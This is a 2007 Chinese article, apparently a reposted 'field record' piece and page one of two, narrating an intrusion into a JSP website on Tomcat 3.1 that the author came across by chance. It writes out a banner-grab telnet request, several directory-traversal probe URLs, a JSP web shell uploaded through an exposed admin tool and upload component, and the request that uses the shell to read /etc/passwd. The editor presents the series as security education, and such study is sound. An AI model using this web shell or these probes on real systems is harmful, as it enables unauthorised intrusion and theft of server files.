现场纪实:如何入侵基于JSP的网站 (1)

发表于:2007-06-10来源:作者:点击数: 标签:
编者: 《现场纪实》是黑客攻防专区新推出的小版块。在这里我们将陆续为您介绍一些网上黑客入侵的真实案例,与以往从网站 安全 人员的角度讲述不同,这些案例都是从黑客的角度来描述入侵的全过程。通过这些案例,您可以很清楚了解到黑客在入侵一个网站时所采

编者:《现场纪实》是黑客攻防专区新推出的小版块。在这里我们将陆续为您介绍一些网上黑客入侵的真实案例,与以往从网站安全人员的角度讲述不同,这些案例都是从黑客的角度来描述入侵的全过程。通过这些案例,您可以很清楚了解到黑客在入侵一个网站时所采用的技术手段及采取的策略。涉及具体技术细节,本栏目会做相应处理,因为我们的目的是通过这样的技术交流共同提高网络的安全性,而非恶意攻击他人的计算机。

《现场纪实》案例征集信箱:clearcase/" target="_blank" >cci.net.com" target="_blank">jiaoxq@staff.ccidnet.com。来信标题请注明:现场纪实案例,稿件内容请对入侵过程及思路进行详细描述,稿酬从优。

很偶然的一个机会,浏览到一个网站,页面清新让人感觉很舒服。网站是用JSP开发的,出于个人爱好,我决定测试一下其系统的安全性。

telnet www.target.com 8080
GET /CHINANSL HTTP/1.1
[Enter]
[Enter]

返回的结果如下:

HTTP/1.0 404 Not Found
Date: Sun, 08 Jul 2001 07:49:13 GMT
Servlet-Engine: Tomcat Web Server/3.1 (JSP 1.1; Servlet 2.2; Java 1.2.2; Linux 2
.2.12 i386; java.vendor=Blackdown Java-Linux Team)
Content-Language: en
Content-Type: text/html
Status: 404

〈h1〉Error: 404〈/h1〉
〈h2〉Location: /CHINANSL〈/h2〉File Not Found〈br〉/CHINANSL

获得了运行的WEBServer的名称“Tomcat 3.1”。记得曾经发现过这个版本的漏洞,并且post到bugtrap上去过。

回忆一下,大概是通过“..”技术可以退出WEB目录,于是:

http://target:8080/../../../../%00.jsp (不行)
http://target:8080/file/index.jsp (不行)
http://target:8080/index.JSP (不行)
http://target:8080/index.jsp%81 (不行)
http://target:8080/index.js%70 (不行)
http://target:8080/index.jsp%2581 (不行)
http://target:8080/WEB-INF/ (不行)

看来安全状况似乎还不错,我们再来进行一下更深层的测试。Tomcat 3.1自带了一个管理工具,可以查看WEB下的目录及文件,并且可以添加context。于是尝试:

http://target:8080/admin/

管理员果然没有删除或禁止访问这个目录,从安全的角度说,这点应该算是一个比较重要的失误。

接着,点击“VIEW ALL CONTEXT”按钮,列出了WEB目录下的一些文件和目录的名称,很快发现了一个上传文件的组件,通过这个组件将一个JSP文件上传到对方的WEB目录里:

〈%@ page import="java.io.*" %〉
〈%
String file = request.getParameter("file");
String str = "";
FileInputStream fis = null;
DataInputStream dis = null;
try{
fis = new FileInputStream(file);
dis = new DataInputStream(fis);
while(true){
try{
str = dis.readLine();
}catch(Exception e){}
if(str == null)break;
out.print(str+"〈br〉");
}
}catch(IOException e){}
%〉

然后执行:

http://target:8080/upload/test.jsp?file=/etc/passwd

密码出来了。接下来的过程是猜测密码,没有成功。不过,现在相当于有了一个SHELL,猜不出密码可以先把IE当作SHELL环境。

1 2 下一页>>


原文转自:http://www.ltesting.net